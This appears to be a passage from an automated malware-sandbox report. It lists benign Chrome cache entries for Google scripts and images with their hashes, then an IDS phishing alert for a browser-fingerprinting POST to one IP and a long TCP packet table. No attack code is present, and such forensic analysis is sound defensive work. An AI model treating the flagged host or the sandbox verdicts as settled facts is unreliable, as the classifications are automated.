SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
Reputation:	low
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 1259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133980
Entropy (8bit):	5.435271847540776
Encrypted:	false
SSDEEP:	1536:g7CkPDNTx14TPinWZ12CAkxmSlQWE8waaeeDF47j9RzoixqxUDgRiKvD+RVH2Unp:2PD1CAV/WEhFdF47j9Rlqxc6+OUaKszQ
MD5:	76315EC17232A5F54A98C02A013D793A
SHA1:	31B9E17C93932236ED8226C9B804F0C5E87817A3
SHA-256:	CB7DEC2BA20AF7F7D72BA2D7FCFD833B6619478E4B3F6B30BC18C47D4ABFDF33
SHA-512:	87C0A9FE38B0062A89DF65903FC7662533C13D378E98A41F868046583EDE114D202413A6A32B9CB79D959E63A46B63FE7FAF3EF9E01EE7B6742CA8A6B7219CCE
Malicious:	false
Reputation:	low
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 1260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
Reputation:	low
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 1261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	173904
Entropy (8bit):	5.557015392120516
Encrypted:	false
SSDEEP:	3072:mqnrEqzJkt0fv1iYPB+q4hXAmwWiIW14ouj4cCTQdp0K7S1kqUS4exvhb9h59GL0:mqnIqzJkt0fvsYPB+q4hXAmwWVW11uja
MD5:	07A6DC0B4F6E097C1D0A15202E2529F9
SHA1:	3F90C96ABF30EE11E87D944BDA7B46F97C105B6C
SHA-256:	68C28B4DAA8F9DB9762ACB567C6787DA7EBE34F2012BA76239482DC980422C34
SHA-512:	C8C7FE5696DC1258889D03F988B1A534DE50B0059A243769E258F6A7991ADB3BA2F9079F47E48F453FFD03A3CC3169D5A12F6458A7F04958D17A27D7D5CC3DD3
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.JsvYdB1VlTQ.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt6VjuqvFHGTQ7vz8QgRv0QbbEJTQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.lj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var mj,nj,pj,sj,vj,uj,oj,tj;mj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};nj=function(){_.Ka()};pj=function(){oj===void 0&&(oj=typeof WeakMap==="function"?mj(WeakMap):null);return oj};sj=function(a,b){(_.qj\|\|(_.qj=new oj)).set(a,b);(_.rj\|\|(_.rj=new oj)).set(b,a)};.vj=function(a){if(tj===void 0){const b=new uj([],{});tj=Array.prototype.concat.call([],b).length===1}tj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.wj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.xj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.yj=function(a,b){a===0&&(a=_.xj(a,b));return a\|1};_.zj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.Aj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Ej=function(a,b,c,d,e,f,g){const h=a.fa;var k=!!(2&b);e=k?

Chrome Cache Entry: 1262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T00:26:44.274310+0200	2056643	ET PHISHING Javascript Browser Fingerprinting POST Request	2	192.168.2.16	49711	201.102.105.236	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 00:26:36.461184025 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 24, 2024 00:26:36.764818907 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 24, 2024 00:26:37.371929884 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 24, 2024 00:26:37.643889904 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 24, 2024 00:26:38.586841106 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 24, 2024 00:26:40.929116011 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 24, 2024 00:26:40.992836952 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 24, 2024 00:26:41.213186979 CEST	49707	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:41.213216066 CEST	443	49707	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:41.213393927 CEST	49707	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:41.213597059 CEST	49707	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:41.213608980 CEST	443	49707	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:41.229976892 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 24, 2024 00:26:41.830867052 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 24, 2024 00:26:41.835370064 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:41.835422039 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:41.835549116 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:41.835772038 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:41.835789919 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.047785044 CEST	443	49707	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:42.052146912 CEST	49707	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:42.052170992 CEST	443	49707	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:42.053246975 CEST	443	49707	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:42.053740025 CEST	49707	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:42.060266018 CEST	49707	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:42.060368061 CEST	443	49707	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:42.100852013 CEST	49707	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:42.100868940 CEST	443	49707	104.20.6.133	192.168.2.16
Oct 24, 2024 00:26:42.148839951 CEST	49707	443	192.168.2.16	104.20.6.133
Oct 24, 2024 00:26:42.214205980 CEST	49709	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:42.214247942 CEST	443	49709	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:42.214328051 CEST	49709	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:42.214612007 CEST	49709	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:42.214622021 CEST	443	49709	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:42.693046093 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.693334103 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:42.693353891 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.693836927 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.693856001 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.694004059 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:42.694011927 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.694053888 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:42.694576025 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.696162939 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:42.696291924 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.696439028 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:42.696446896 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.750849962 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:42.900209904 CEST	443	49709	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:42.900578976 CEST	49709	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:42.900605917 CEST	443	49709	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:42.901685953 CEST	443	49709	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:42.901767969 CEST	49709	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:42.903049946 CEST	49709	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:42.903112888 CEST	443	49709	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:42.903289080 CEST	49709	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:42.903297901 CEST	443	49709	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:42.943804979 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.943852901 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.943908930 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:42.943933010 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.948066950 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.948120117 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:42.948128939 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.956851006 CEST	49709	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:42.956922054 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.957176924 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:42.957189083 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.965851068 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.965915918 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:42.965929031 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.974442959 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.974518061 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:42.974528074 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.983119011 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.983203888 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:42.983213902 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.991746902 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:42.991847992 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:42.991858006 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.000739098 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.000817060 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.000828981 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.036863089 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 24, 2024 00:26:43.052867889 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.063829899 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.068193913 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.068223000 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.068252087 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.068265915 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.068309069 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.076885939 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.085629940 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.085704088 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.085724115 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.094517946 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.094558954 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.094628096 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.094650984 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.094696999 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.103137970 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.112124920 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.112163067 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.112224102 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.112245083 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.112649918 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.120671034 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.129549980 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.129632950 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.129648924 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.137851954 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.137914896 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.137936115 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.137944937 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.137998104 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.145133018 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.152863026 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.152942896 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.152947903 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.152960062 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.153007984 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.160377979 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.167913914 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.167958975 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.167975903 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.167982101 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.168026924 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.175517082 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.183847904 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.183890104 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.183944941 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.183945894 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.183955908 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.183980942 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.188544035 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.188613892 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.188642979 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.193383932 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.193491936 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.193519115 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.198295116 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.198367119 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.198378086 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.202869892 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.203053951 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.203063011 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.207645893 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.207725048 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.207734108 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.212507963 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.212594032 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.212609053 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.217186928 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.217439890 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.217458963 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.221976042 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.222044945 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.222053051 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.226804018 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.226943016 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.226954937 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.231470108 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.231570005 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.231578112 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.236232042 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.236546993 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.236558914 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.241004944 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.241053104 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.241059065 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.245914936 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.245965958 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.245973110 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.250622988 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.250706911 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.250715971 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.255485058 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.255548000 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.255554914 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.260163069 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.260250092 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.260268927 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.265016079 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.265105963 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.265124083 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.269741058 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.269831896 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.269845963 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.274588108 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.274658918 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.274677038 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.279432058 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.279520035 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.279535055 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.283902884 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.283977032 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.283983946 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.288336039 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.288413048 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.288424015 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.292731047 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.292781115 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.292788029 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.297152996 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.298341990 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.298352957 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.301512957 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.301647902 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.301654100 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.305722952 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.305782080 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.305788994 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.310223103 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.310308933 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.310319901 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.312916040 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.312980890 CEST	49708	443	192.168.2.16	142.250.186.97
